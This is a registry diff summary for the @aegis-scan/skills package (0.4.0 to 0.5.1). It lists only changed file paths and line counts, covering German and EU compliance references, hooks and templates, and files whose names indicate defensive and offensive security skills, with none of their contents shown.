@aegis-scan/skills 0.4.0 → 0.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ATTRIBUTION.md +204 -0
- package/CHANGELOG.md +48 -3
- package/package.json +1 -1
- package/sbom.cdx.json +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +1080 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/HANDOVER-LO-LIVE-VERIFICATION-2026-05-15.md +187 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/LICENSE +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/README.md +242 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +427 -14
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +63 -9
- package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +1581 -10
- package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +323 -31
- package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +610 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +107 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +81 -8
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/paragraphs.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/paragraphs.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/paragraphs.md +112 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/paragraphs.md +71 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/articles.md +182 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +111 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +134 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/paragraphs.md +61 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/INDEX.md +93 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +185 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/paragraphs.md +57 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +137 -9
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +122 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/mistral-eu.md +123 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/openai-dpa.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/nextauth-tom.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/supabase-auth-tom.md +104 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/proxy-csp-pattern.md +93 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/payment/stripe-pci-tom.md +121 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/plausible-pattern.md +107 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/AffiliateDisclaimer.tsx.example +54 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/COMPLIANCE-AUDIT-TRAIL-template.md +95 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSE-Section-UGC.md.example +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +156 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/LostFoundReportForm-consent.tsx.example +126 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/README.md +33 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/UmamiScript.tsx.example +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/data-retention-cron.ts.example +52 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/data-retention-workflow.yml.example +47 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/proxy-strict-dynamic.ts.example +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/security.txt.example +26 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +262 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
- package/skills/defensive/aegis-native/rls-defense/SKILL.md +85 -0
- package/skills/defensive/permoon-fork/README.md +40 -0
- package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
- package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
- package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
- package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
- package/skills/foundation/aegis-native/aegis-module-builder/SKILL.md +5 -1
- package/skills/foundation/aegis-native/aegis-orchestrator/SKILL.md +87 -4
- package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +69 -9
- package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
- package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
- package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
- package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
- package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
- package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
- package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
- package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
- package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
- package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
- package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
- package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
- package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
- package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
- package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
- package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
- package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
- package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
- package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
- package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
- package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
- package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
- package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
- package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
- package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
- package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
- package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
- package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
- package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
- package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
- package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
- package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
- package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
- package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
- package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
- package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
- package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
- package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
- package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
- package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
- package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
- package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
- package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
- package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
- package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
- package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
- package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
- package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
